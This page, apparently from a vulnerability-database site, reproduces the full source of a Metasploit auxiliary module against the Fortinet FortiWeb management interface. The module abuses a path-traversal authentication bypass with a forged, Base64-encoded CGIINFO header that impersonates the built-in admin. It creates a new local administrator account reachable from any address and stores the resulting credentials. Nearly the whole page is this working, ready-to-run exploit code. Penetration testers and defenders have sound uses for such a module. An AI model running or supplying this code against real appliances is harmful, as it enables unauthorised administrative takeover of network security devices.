METASPLOIT

Fortinet FortiWeb create new local admin_MSF:AUXILIARY-ADMIN-HTTP-FORTINET_FORTIWEB_CREATE_ADMIN-

Description

This auxiliary module exploits an authentication bypass via path traversal vulnerability in the Fortinet FortiWeb management interface to create...
Visit Original Source

Basic Information

ID MSF:AUXILIARY-ADMIN-HTTP-FORTINET_FORTIWEB_CREATE_ADMIN-
Published Nov 14, 2025 at 18:57

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiWeb create new local admin',
'Description' => %q{
This auxiliary module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. This vulnerability
appears to be patched in the latest version of the product, version 8.0.2.
},
'License' => MSF_LICENSE,
'Author' => [
'Defused', # PoC from honeypot
'sfewer-r7', # MSF module
],
'References' => [
# ['C V E', '2025-??'], # No known CVE assigned yet (as of Nov 14, 2025)
['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC posted online
['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC
['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/']
],
# 'D i s c l o s u r e D a t e' => '2025-??-??', # Not yet disclosed by the vendor (as of Nov 14, 2025)
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to use when creating a new admin account', Faker::Internet.username]),
OptString.new('NEW_PASSWORD', [true, 'Password to use when creating a new admin account', Rex::Text.rand_text_alpha(8)])
])

register_advanced_options(
[
OptString.new('FORTIWEB_ACCESS_PROFILE', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
OptString.new('FORTIWEB_DOMAIN', [ true, 'The domain to use for the new admin account', 'root' ]),
OptString.new('FORTIWEB_DEFAULT_ADMIN_ACCOUNT', [ true, 'The default FortiWeb admin account name', 'admin' ])
]
)
end

def check
res = post_auth_bypass_request({ data: {} })

return CheckCode::Unknown('Connection failed') unless res

return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403

Exploit::CheckCode::Appears
end

def run
request_data = {
data: {
'q_type' => 1,
'name' => datastore['NEW_USERNAME'],
'access-profile' => datastore['FORTIWEB_ACCESS_PROFILE'],
'access-profile_val' => '0',
'trusthostv4' => '0.0.0.0/0',
'trusthostv6' => '::/0',
'last-name' => '',
'first-name' => '',
'email-address' => '',
'phone-number' => '',
'mobile-number' => '',
'hidden' => 0,
'domains' => datastore['FORTIWEB_DOMAIN'],
'sz_dashboard' => -1,
'type' => 'local-user',
'type_val' => '0',
'admin-usergrp_val' => '0',
'wildcard_val' => '0',
'accprofile-override_val' => '0',
'sshkey' => '',
'passwd-set-time' => 0,
'history-password-pos' => 0,
'history-password0' => '',
'history-password1' => '',
'history-password2' => '',
'history-password3' => '',
'history-password4' => '',
'history-password5' => '',
'history-password6' => '',
'history-password7' => '',
'history-password8' => '',
'history-password9' => '',
'force-password-change' => 'disable',
'force-password-change_val' => '0',
'password' => datastore['NEW_PASSWORD']
}
}

res = post_auth_bypass_request(request_data)

return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

return fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403

unless res.code == 200
if res.headers['Content-Type'] == 'application/json'
begin
response_data = JSON.parse(res.body)
print_bad(response_data.to_s)
rescue JSON::ParserError
print_bad('failed to parse response JSON data')
end
end
return fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
end

print_good("New admin account successfully created: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")

print_good("Login via #{ssl ? 'https' : 'http'}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'login')}")

store_credentials(datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'], Metasploit::Model::Login::Status::UNTRIED)
end

def post_auth_bypass_request(request_data)
cgi_info = {
'username' => datastore['FORTIWEB_DEFAULT_ADMIN_ACCOUNT'],
'profname' => datastore['FORTIWEB_ACCESS_PROFILE'],
'vdom' => datastore['FORTIWEB_DOMAIN'],
'loginname' => datastore['FORTIWEB_DEFAULT_ADMIN_ACCOUNT']
}

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
'headers' => {
'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
},
'ctype' => 'application/json',
'data' => request_data.to_json
)
end

def store_credentials(username, password, login_status)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: login_status
}.merge(service_data)

create_credential_login(login_data)
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.